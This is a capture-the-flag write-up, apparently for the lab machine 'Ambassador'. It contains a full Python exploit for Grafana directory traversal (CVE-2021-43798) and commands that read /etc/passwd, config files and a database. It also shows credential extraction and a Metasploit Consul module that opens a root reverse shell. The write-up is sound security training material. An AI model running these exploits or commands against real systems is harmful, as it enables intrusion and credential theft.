Machine Info Card

Enumeration

Nmap

We start by running an nmap scan on the most common 1000 ports using the flag -sV to perform a service/version scan, and the -sC flag to perform a script scan using the default set of scripts:

$ nmap -sV -sC 10.129.228.56  
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-11 07:46 EST
Nmap scan report for 10.129.228.56
Host is up (0.053s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 29dd8ed7171e8e3090873cc651007c75 (RSA)
|   256 80a4c52e9ab1ecda276439a408973bef (ECDSA)
|_  256 f590ba7ded55cb7007f2bbc891931bf6 (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Hugo 0.94.2
|_http-title: Ambassador Development Server
|_http-server-header: Apache/2.4.41 (Ubuntu)
3000/tcp open  ppp?
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Content-Type: text/html; charset=utf-8
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2Fnice%2520ports%252C%2FTri%256Eity.txt%252ebak; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Sun, 11 Dec 2022 12:47:33 GMT
|     Content-Length: 29
|     href="/login">Found</a>.
|   GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Content-Type: text/html; charset=utf-8
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Sun, 11 Dec 2022 12:47:02 GMT
|     Content-Length: 29
|     href="/login">Found</a>.
|   HTTPOptions: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Sun, 11 Dec 2022 12:47:07 GMT
|_    Content-Length: 0
3306/tcp open  mysql   MySQL 8.0.30-0ubuntu0.20.04.2
| mysql-info: 
|   Protocol: 10
|   Version: 8.0.30-0ubuntu0.20.04.2
|   Thread ID: 13
|   Capabilities flags: 65535
|   Some Capabilities: FoundRows, Speaks41ProtocolNew, SupportsTransactions, Speaks41ProtocolOld, SupportsCompression, LongPassword, IgnoreSpaceBeforeParenthesis, Support41Auth, LongColumnFlag, ConnectWithDatabase, ODBCClient, InteractiveClient, DontAllowDatabaseTableColumn, IgnoreSigpipes, SupportsLoadDataLocal, SwitchToSSLAfterHandshake, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults
|   Status: Autocommit
|   Salt: \x05VP\x02xp4;fHQ8od\x12\x0BY\x04bd
|_  Auth Plugin Name: caching_sha2_password
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.93%I=7%D=12/11%Time=6395D146%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\
SF:x20Request")%r(GetRequest,174,"HTTP/1\.0\x20302\x20Found\r\nCache-Contr
SF:ol:\x20no-cache\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nExpi
SF:res:\x20-1\r\nLocation:\x20/login\r\nPragma:\x20no-cache\r\nSet-Cookie:
SF:\x20redirect_to=%2F;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nX-Conte
SF:nt-Type-Options:\x20nosniff\r\nX-Frame-Options:\x20deny\r\nX-Xss-Protec
SF:tion:\x201;\x20mode=block\r\nDate:\x20Sun,\x2011\x20Dec\x202022\x2012:4
SF:7:02\x20GMT\r\nContent-Length:\x2029\r\n\r\n<a\x20href=\"/login\">Found
SF:</a>\.\n\n")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-T
SF:ype:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400
SF:\x20Bad\x20Request")%r(HTTPOptions,12E,"HTTP/1\.0\x20302\x20Found\r\nCa
SF:che-Control:\x20no-cache\r\nExpires:\x20-1\r\nLocation:\x20/login\r\nPr
SF:agma:\x20no-cache\r\nSet-Cookie:\x20redirect_to=%2F;\x20Path=/;\x20Http
SF:Only;\x20SameSite=Lax\r\nX-Content-Type-Options:\x20nosniff\r\nX-Frame-
SF:Options:\x20deny\r\nX-Xss-Protection:\x201;\x20mode=block\r\nDate:\x20S
SF:un,\x2011\x20Dec\x202022\x2012:47:07\x20GMT\r\nContent-Length:\x200\r\n
SF:\r\n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-
SF:Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n40
SF:0\x20Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Re
SF:quest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x
SF:20close\r\n\r\n400\x20Bad\x20Request")%r(TerminalServerCookie,67,"HTTP/
SF:1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charse
SF:t=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TLSSes
SF:sionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text
SF:/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20R
SF:equest")%r(Kerberos,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-T
SF:ype:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400
SF:\x20Bad\x20Request")%r(FourOhFourRequest,1A1,"HTTP/1\.0\x20302\x20Found
SF:\r\nCache-Control:\x20no-cache\r\nContent-Type:\x20text/html;\x20charse
SF:t=utf-8\r\nExpires:\x20-1\r\nLocation:\x20/login\r\nPragma:\x20no-cache
SF:\r\nSet-Cookie:\x20redirect_to=%2Fnice%2520ports%252C%2FTri%256Eity\.tx
SF:t%252ebak;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nX-Content-Type-Op
SF:tions:\x20nosniff\r\nX-Frame-Options:\x20deny\r\nX-Xss-Protection:\x201
SF:;\x20mode=block\r\nDate:\x20Sun,\x2011\x20Dec\x202022\x2012:47:33\x20GM
SF:T\r\nContent-Length:\x2029\r\n\r\n<a\x20href=\"/login\">Found</a>\.\n\n
SF:");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 117.66 seconds

Port 80

We take a look at what web technologies the website is using with whatweb:

$ whatweb http://10.129.228.56 
http://10.129.228.56 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.129.228.56], MetaGenerator[Hugo 0.94.2], Open-Graph-Protocol[website], Title[Ambassador Development Server], X-UA-Compatible[IE=edge]

On a blog post at http://10.129.14.103/posts/welcome-to-the-ambassador-development-server/:

Welcome to the Ambassador Development Server

Hi there! This server exists to provide developers at Ambassador with a standalone development environment. When you start as a developer at Ambassador, you will be assigned a development server of your own to use. Connecting to this machine

Connecting to this machine

Use the developer account to SSH, DevOps will give you the password.

Port 3000

Visiting http://10.129.228.56/3000 we are greeted by a Grafana login page. The version in use is v8.2.0 (d7f71e9eae).

This version is vulnerable to Directory Traversal and Arbitrary File Read:

$ searchsploit grafana   
------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                            |  Path
------------------------------------------------------------------------------------------ ---------------------------------
Grafana 7.0.1 - Denial of Service (PoC)                                                   | linux/dos/48638.sh
Grafana 8.3.0 - Directory Traversal and Arbitrary File Read                               | multiple/webapps/50581.py
------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
Papers: No Results
                                                                                                                            
$ searchsploit -m multiple/webapps/50581.py
  Exploit: Grafana 8.3.0 - Directory Traversal and Arbitrary File Read
      URL: https://www.exploit-db.com/exploits/50581
     Path: /usr/share/exploitdb/exploits/multiple/webapps/50581.py
    Codes: CVE-2021-43798
 Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/kali/htb/ambassador/50581.py

50581.py

# Exploit Title: Grafana 8.3.0 - Directory Traversal and Arbitrary File Read
# Date: 08/12/2021
# Exploit Author: s1gh
# Vendor Homepage: https://grafana.com/
# Vulnerability Details: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
# Version: V8.0.0-beta1 through V8.3.0
# Description: Grafana versions 8.0.0-beta1 through 8.3.0 is vulnerable to directory traversal, allowing access to local fil
es.
# CVE: CVE-2021-43798
# Tested on: Debian 10
# References: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p47p

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests
import argparse
import sys
from random import choice

plugin_list = [
    "alertlist",
    "annolist",
    "barchart",
    "bargauge",
    "candlestick",
    "cloudwatch",
    "dashlist",
    "elasticsearch",
    "gauge",
    "geomap",
    "gettingstarted",
    "grafana-azure-monitor-datasource",
    "graph",
    "heatmap",
    "histogram",
    "influxdb",
    "jaeger",
    "logs",
    "loki",
    "mssql",
    "mysql",
    "news",
    "nodeGraph",
    "opentsdb",
    "piechart",
    "pluginlist",
    "postgres",
    "prometheus",
    "stackdriver",
    "stat",
    "state-timeline",
    "status-histor",
    "table",
    "table-old",
    "tempo",
    "testdata",
    "text",
    "timeseries",
    "welcome",
    "zipkin"
]

def exploit(args):
    s = requests.Session()
    headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.' }

    while True:
        file_to_read = input('Read file > ')

        try:
            url = args.host + '/public/plugins/' + choice(plugin_list) + '/../../../../../../../../../../../../..' + file_to_read
            req = requests.Request(method='GET', url=url, headers=headers)
            prep = req.prepare()
            prep.url = url
            r = s.send(prep, verify=False, timeout=3)

            if 'Plugin file not found' in r.text:
                print('[-] File not found\n')
            else:
                if r.status_code == 200:
                    print(r.text)
                else:
                    print('[-] Something went wrong.')
                    return
        except requests.exceptions.ConnectTimeout:
            print('[-] Request timed out. Please check your host settings.\n')
            return
        except Exception:
            pass

def main():
    parser = argparse.ArgumentParser(description="Grafana V8.0.0-beta1 - 8.3.0 - Directory Traversal and Arbitrary File Read")
    parser.add_argument('-H',dest='host',required=True, help="Target host")
    args = parser.parse_args()

    try:
        exploit(args)
    except KeyboardInterrupt:
        return


if __name__ == '__main__':
    main()
    sys.exit(0)

We execute the script:

$ python3 50581.py -H http://10.129.228.56:3000
Read file > /etc/hosts
127.0.0.1 localhost
127.0.1.1 ambassador

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Read file > /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
grafana:x:113:118::/usr/share/grafana:/bin/false
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
consul:x:997:997::/home/consul:/bin/false

Read file > 

In the Grafana documentation we find the location of the configuration files:

Package details

Installs binary to /usr/sbin/grafana-server
Installs Init.d script to /etc/init.d/grafana-server
Creates default file (environment vars) to /etc/default/grafana-server
Installs configuration file to /etc/grafana/grafana.ini
Installs systemd service (if systemd is available) name grafana-server.service
The default configuration sets the log file at /var/log/grafana/grafana.log
The default configuration specifies a SQLite3 db at /var/lib/grafana/grafana.db
Installs HTML/JS/CSS and other Grafana files at /usr/share/grafana

We analyze grafana.ini:

Read file > /etc/grafana/grafana.ini
<SNIP>
#################################### Security ####################################
[security]
# disable creation of admin user on first start of grafana
;disable_initial_admin_creation = false

# default admin user, created on startup
;admin_user = admin

# default admin password, can be changed before first start of grafana,  or in profile settings
admin_password = messageInABottle685427

# used for signing
;secret_key = SW2YcwTIb9zpOOhoPsMm
<SNIP>

where we find credentials to login to the Grafana instance, admin:messageInABottle685427.

After that, we dump the SQLite3 grafana.db database:

$ curl --path-as-is http://10.129.228.56:3000/../../../../../../../../var/lib/grafana/grafana.db -o grafana.db
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    29  100    29    0     0    267      0 --:--:-- --:--:-- --:--:--   268

We take a look at the db with sqlitebrowser and we find mysql credentials in the table data_source:

type name password user database
mysql mysql.yaml dontStandSoCloseToMe63221! grafana grafana

Port 3306

By utilizing the leaked credentials, we are now able to establish a connection with the publicly exposed MySQL service:

$ mysql -u grafana -p'dontStandSoCloseToMe63221!' -h 10.129.228.56           
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 21
Server version: 8.0.30-0ubuntu0.20.04.2 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> 
MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| grafana            |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| whackywidget       |
+--------------------+
6 rows in set (0.070 sec)

MySQL [(none)]> use grafana;
Database changed
MySQL [grafana]> show tables;
Empty set (0.056 sec)

MySQL [grafana]> use whackywidget;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [whackywidget]> show tables;
+------------------------+
| Tables_in_whackywidget |
+------------------------+
| users                  |
+------------------------+
1 row in set (0.056 sec)

MySQL [whackywidget]> select * from users;
+-----------+------------------------------------------+
| user      | pass                                     |
+-----------+------------------------------------------+
| developer | YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== |
+-----------+------------------------------------------+
1 row in set (0.057 sec)

MySQL [whackywidget]> 

We found the password for user developer. It seems to be Base64 encoded.

We proceed to decode the password:

$ echo "YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg==" | base64 -d
anEnglishManInNewYork027468

Getting a Shell

We now ssh login with the credentials we just found, developer:anEnglishManInNewYork027468:

$ ssh developer@10.129.228.56                           
developer@10.129.228.56`s password: anEnglishManInNewYork027468
<SNIP>
developer@ambassador:~$ id
uid=1000(developer) gid=1000(developer) groups=1000(developer)

User Flag

We find the user flag in developer’s home directory:

developer@ambassador:~$ ls
snap  user.txt
developer@ambassador:~$ cat user.txt
1fe**************************c30

Privilege Escalation

Now, we start enumerating the target system looking for a way to escalate privileges:

developer@ambassador:~$ ls -la
total 48
drwxr-xr-x 7 developer developer 4096 Sep 14 11:01 .
drwxr-xr-x 3 root      root      4096 Mar 13  2022 ..
lrwxrwxrwx 1 root      root         9 Sep 14 11:01 .bash_history -> /dev/null
-rw-r--r-- 1 developer developer  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 developer developer 3798 Mar 14  2022 .bashrc
drwx------ 3 developer developer 4096 Mar 13  2022 .cache
-rw-rw-r-- 1 developer developer   93 Sep  2 02:28 .gitconfig
drwx------ 3 developer developer 4096 Mar 14  2022 .gnupg
drwxrwxr-x 3 developer developer 4096 Mar 13  2022 .local
-rw-r--r-- 1 developer developer  807 Feb 25  2020 .profile
drwx------ 3 developer developer 4096 Mar 14  2022 snap
drwx------ 2 developer developer 4096 Mar 13  2022 .ssh
-rw-r----- 1 developer developer   33 Dec 11 12:46 user.txt
developer@ambassador:~$ cat .gitconfig 
[user]
        name = Developer
        email = developer@ambassador.local
[safe]
        directory = /opt/my-app

developer@ambassador:~$ ls -la /opt/my-app/
total 24
drwxrwxr-x 5 root root 4096 Mar 13  2022 .
drwxr-xr-x 4 root root 4096 Sep  1 22:13 ..
drwxrwxr-x 4 root root 4096 Mar 13  2022 env
drwxrwxr-x 8 root root 4096 Mar 14  2022 .git
-rw-rw-r-- 1 root root 1838 Mar 13  2022 .gitignore
drwxrwxr-x 3 root root 4096 Mar 13  2022 whackywidget

developer@ambassador:~$ ls -la /opt/my-app/whackywidget/
total 20
drwxrwxr-x 3 root root 4096 Mar 13  2022 .
drwxrwxr-x 5 root root 4096 Mar 13  2022 ..
-rwxrwxr-x 1 root root  668 Mar 13  2022 manage.py
-rwxrwxr-x 1 root root  228 Mar 13  2022 put-config-in-consul.sh
drwxrwxr-x 2 root root 4096 Mar 13  2022 whackywidget

developer@ambassador:~$ cat  /opt/my-app/whackywidget/put-config-in-consul.sh 
# We use Consul for application config in production, this script will help set the correct values for the app
# Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running

consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD

Consul is a service networking solution to automate network configurations, discover services, and enable secure connectivity across any cloud or runtime.

We check for the version installed on the system:

developer@ambassador:~$ consul version
Consul v1.13.2
Revision 0e046bbb
Build Date 2022-09-20T20:30:07Z
Protocol 2 spoken by default, understands 2 to 3 (agent will automatically use protocol >2 when speaking to compatible agents)

We take a look at the git history:

developer@ambassador:/opt/my-app$ git log
commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main)
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 23:47:36 2022 +0000

    tidy config script

commit c982db8eff6f10f8f3a7d802f79f2705e7a21b55
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 23:44:45 2022 +0000

    config script

commit 8dce6570187fd1dcfb127f51f147cd1ca8dc01c6
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 22:47:01 2022 +0000

    created project with django CLI

commit 4b8597b167b2fbf8ec35f992224e612bf28d9e51
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 22:44:11 2022 +0000

    .gitignore

developer@ambassador:/opt/my-app$ git show 33a53ef9a207976d5ceceddc41a199558843bf3c
commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main)
Author: Developer <developer@ambassador.local>
Date:   Sun Mar 13 23:47:36 2022 +0000

    tidy config script

diff --git a/whackywidget/put-config-in-consul.sh b/whackywidget/put-config-in-consul.sh
index 35c08f6..fc51ec0 100755
--- a/whackywidget/put-config-in-consul.sh
+++ b/whackywidget/put-config-in-consul.sh
@@ -1,4 +1,4 @@
 # We use Consul for application config in production, this script will help set the correct values for the app
-# Export MYSQL_PASSWORD before running
+# Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running
 
-consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw $MYSQL_PASSWORD
+consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD

bb03b43b-1d81-d62b-24b5-39540ee469b5 seems to be an ACL token.

Now we want to check if this configuration of Consul is vulnerable to RCE via Services API.

The HTTP API default port is TCP/8500, but we are unable to connect to http://10.129.228.56:8500.

Locally, though, the service is running:

$ curl -i http://127.0.0.1:8500
HTTP/1.1 200 OK
Date: Sun, 11 Dec 2022 21:14:10 GMT
Content-Length: 104
Content-Type: text/plain; charset=utf-8

Consul Agent: UI disabled. To enable, set ui_config.enabled=true in the agent configuration and restart.

Consul Agent: UI is disabled means that the built-in web UI server and the required HTTP routes are disabled.

In order for the exploit to work we need to ssh port forward to tunnel the application port 8500 from the target machine to our attacking machine:

$ ssh -L 8500:0.0.0.0:8500 developer@10.129.228.56

Now we can setup the exploit using Metasploit:

msf6 > search consul

Matching Modules
================

   #   Name                                                     Disclosure Date  Rank       Check  Description
   -   ----                                                     ---------------  ----       -----  -----------
   0   exploit/multi/http/struts_dev_mode                       2012-01-06       excellent  Yes    Apache Struts 2 Developer Mode OGNL Execution
   1   exploit/multi/http/clipbucket_fileupload_exec            2018-03-03       excellent  Yes    ClipBucket beats_uploader Unauthenticated Arbitrary File Upload
   2   auxiliary/scanner/misc/dahua_dvr_auth_bypass                              normal     No     Dahua DVR Auth Bypass Scanner
   3   post/windows/manage/dell_memory_protect                                   manual     No     Dell DBUtilDrv2.sys Memory Protection Modifier
   4   exploit/linux/http/groundwork_monarch_cmd_exec           2013-03-08       excellent  Yes    GroundWork monarch_scan.cgi OS Command Injection
   5   exploit/multi/misc/consul_rexec_exec                     2018-08-11       excellent  Yes    Hashicorp Consul Remote Command Execution via Rexec
   6   exploit/multi/misc/consul_service_exec                   2018-08-11       excellent  Yes    Hashicorp Consul Remote Command Execution via Services API
   7   exploit/windows/misc/ibm_director_cim_dllinject          2009-03-10       excellent  Yes    IBM System Director Agent DLL Injection
   8   exploit/unix/webapp/joomla_media_upload_exec             2013-08-01       excellent  Yes    Joomla Media Manager File Upload Vulnerability
   9   auxiliary/admin/http/limesurvey_file_download            2015-10-12       normal     No     Limesurvey Unauthenticated File Download
   10  exploit/windows/local/cve_2020_0668_service_tracing      2020-02-11       excellent  No     Service Tracing Privilege Elevation Vulnerability
   11  exploit/windows/browser/sonicwall_addrouteentry          2007-11-01       normal     No     SonicWall SSL-VPN NetExtender ActiveX Control Buffer Overflow
   12  auxiliary/admin/http/sophos_wpa_traversal                2013-04-03       normal     No     Sophos Web Protection Appliance patience.cgi Directory Traversal
   13  exploit/windows/antivirus/symantec_endpoint_manager_rce  2014-02-24       excellent  Yes    Symantec Endpoint Protection Manager /servlet/ConsoleServlet Remote Command Execution


Interact with a module by name or index. For example info 13, use 13 or use exploit/windows/antivirus/symantec_endpoint_manager_rce                                                                                                                     

msf6 > use 6
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/misc/consul_service_exec) > show info

       Name: Hashicorp Consul Remote Command Execution via Services API
     Module: exploit/multi/misc/consul_service_exec
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-08-11

Provided by:
  Bharadwaj Machiraju <bharadwaj.machiraju@gmail.com>
  Francis Alexander <helofrancis@gmail.com >
  Quentin Kaiser <kaiserquentin@gmail.com>
  Matthew Lucas <mattglucas97@gmail.com>

Available targets:
  Id  Name
  --  ----
  0   Linux
  1   Windows

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  ACL_TOKEN                   no        Consul Agent ACL token
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-
                                        Metasploit
  RPORT      8500             yes       The target port (TCP)
  SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the l
                                        ocal machine or 0.0.0.0 to listen on all addresses.
  SRVPORT    8080             yes       The local port to listen on.
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
  TARGETURI  /                yes       The base path
  URIPATH                     no        The URI to use for this exploit (default is random)
  VHOST                       no        HTTP server virtual host

Payload information:

Description:
  This module exploits Hashicorp Consul`s services API to gain remote 
  command execution on Consul nodes.

References:
  https://www.consul.io/api/agent/service.html
  https://github.com/torque59/Garfield


View the full module info with the info -d command.

msf6 exploit(multi/misc/consul_service_exec) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/misc/consul_service_exec) > set LHOST <OUR IP>
LHOST => <OUR IP>
msf6 exploit(multi/misc/consul_service_exec) > set ACL_TOKEN bb03b43b-1d81-d62b-24b5-39540ee469b5
ACL_TOKEN => bb03b43b-1d81-d62b-24b5-39540ee469b5
msf6 exploit(multi/misc/consul_service_exec) > check
[+] 127.0.0.1:8500 - The target is vulnerable.

This Consul configuration is vulnerable.

Root Flag

Now we run the exploit and get the root flag:

msf6 exploit(multi/misc/consul_service_exec) > run

[*] Started reverse TCP handler on <OUR IP>:4444 
[*] Creating service 'NQcQJqjx'
[*] Service 'NQcQJqjx' successfully created.
[*] Waiting for service 'NQcQJqjx' script to trigger
[*] Sending stage (1017704 bytes) to <OUR IP>
[*] Meterpreter session 1 opened (<OUR IP>:4444 -> 10.129.228.56:44164) at 2022-12-11 14:53:33 -0500
[*] Removing service 'NQcQJqjx'
[*] Command Stager progress - 100.00% done (763/763 bytes)
meterpreter > getuid
Server username: root
meterpreter > cd root
meterpreter > ls
Listing: /root
==============

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100644/rw-r--r--  3133   fil   2022-03-13 21:03:37 -0400  .bashrc
040700/rwx------  4096   dir   2022-03-13 13:47:00 -0400  .cache
040755/rwxr-xr-x  4096   dir   2022-09-07 13:20:57 -0400  .local
020666/rw-rw-rw-  0      cha   2022-12-11 14:12:01 -0500  .mysql_history
100644/rw-r--r--  161    fil   2019-12-05 09:39:21 -0500  .profile
100644/rw-r--r--  75     fil   2022-09-01 22:46:11 -0400  .selected_editor
040700/rwx------  4096   dir   2022-03-13 13:27:27 -0400  .ssh
100600/rw-------  10050  fil   2022-09-14 13:13:20 -0400  .viminfo
100755/rwxr-xr-x  62     fil   2022-09-14 07:00:13 -0400  cleanup.sh
100640/rw-r-----  33     fil   2022-12-11 14:12:52 -0500  root.txt
040700/rwx------  4096   dir   2022-03-13 13:27:31 -0400  snap

meterpreter > cat root.txt 
638**************************c370